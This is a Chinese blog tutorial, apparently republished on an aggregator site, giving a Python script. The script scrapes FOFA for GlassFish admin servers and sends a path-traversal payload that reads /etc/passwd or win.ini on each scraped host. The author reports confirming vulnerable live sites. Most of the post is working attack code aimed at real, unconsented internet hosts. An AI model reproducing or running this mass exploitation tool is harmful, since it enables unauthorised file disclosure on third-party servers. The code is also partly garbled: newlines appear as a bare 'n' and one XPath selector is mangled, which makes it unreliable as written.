栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Python

python开发-批量fofa&POC验证

Python 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

python开发-批量fofa&POC验证

python开发-批量fofa&POC验证 代码目的

之前在网上看到glassfish爆过一个任意文件读取的漏洞,想着通过python脚本和fofa搜索引擎来批量验证一些网站是否存在这个漏洞

目标实现 爬取fofa引擎数据

首先通过爬虫爬取fofa引擎安装了glassfish服务的网站

import requests
import base64
from lxml import etree
import time


search_data='"glassfish" && port="4848"'
headers={
    'cookie':'自己的cookie信息',
}
for yeshu in range(1,6):
    url='https://fofa.so/result?page='+str(yeshu)+'&qbase64='
    search_data_bs=str(base64.b64encode(search_data.encode("utf-8")),"utf-8")
    urls=url+search_data_bs
    #print(urls)
    try:
        print('怎在提取第'+str(yeshu)+'页')
        result=requests.get(urls,headers=headers).content
        soup=etree.HTML(result)
        ip_data=soup.xpath('//span[@]/a[@target="_blank"]/@href')
        ipdata='n'.join(ip_data)
        print(ip_data)
        with open(r'ip.txt','a+') as f:
            f.write(ipdata+'n')
            f.close()
        time.sleep(0.5)
    except Exception as e:
        pass

运行结果

因为fofa引擎没有会员的话是只能爬取50个数据的,也就是5页,所以这里我只爬取了50个网站

写入漏洞payload
payload_linux='/theme/meta-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd'
payload_windows='/theme/meta-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini'
for ip in open('ip.txt'):
    ip=ip.replace('n','')
    windows_url=ip+payload_windows
    linux_url=ip+payload_linux
    try:
        vuln_code_linux=requests.get(linux_url).status_code
        vuln_code_windows=requests.get(windows_url).status_code
        print("check->"+ip)
        if vuln_code_linux==200 or vuln_code_windows==200:
            with open(r'vuln.txt','a+') as f:
                f.write(ip)
                f.write('n')
                f.close()
        time.sleep(0.5)
    except Exception as e:
        pass
总体代码
import requests
import base64
from lxml import etree
import time


search_data='"glassfish" && port="4848"'
headers={
    'cookie':'自己的cookie信息',
}
for yeshu in range(1,6):
    url='https://fofa.so/result?page='+str(yeshu)+'&qbase64='
    search_data_bs=str(base64.b64encode(search_data.encode("utf-8")),"utf-8")
    urls=url+search_data_bs
    #print(urls)
    try:
        print('怎在提取第'+str(yeshu)+'页')
        result=requests.get(urls,headers=headers).content
        soup=etree.HTML(result)
        ip_data=soup.xpath('//span[@]/a[@target="_blank"]/@href')
        ipdata='n'.join(ip_data)
        print(ip_data)
        with open(r'ip.txt','a+') as f:
            f.write(ipdata+'n')
            f.close()
        time.sleep(0.5)
    except Exception as e:
        pass


payload_linux='/theme/meta-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd'
payload_windows='/theme/meta-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini'
for ip in open('ip.txt'):
    ip=ip.replace('n','')
    windows_url=ip+payload_windows
    linux_url=ip+payload_linux
    try:
        vuln_code_linux=requests.get(linux_url).status_code
        vuln_code_windows=requests.get(windows_url).status_code
        print("check->"+ip)
        if vuln_code_linux==200 or vuln_code_windows==200:
            with open(r'vuln.txt','a+') as f:
                f.write(ip)
                f.write('n')
                f.close()
        time.sleep(0.5)
    except Exception as e:
        pass

运行结果

存在漏洞的网站

代码验证

这里我只找两个网站进行验证


漏洞验证成功

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/313617.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号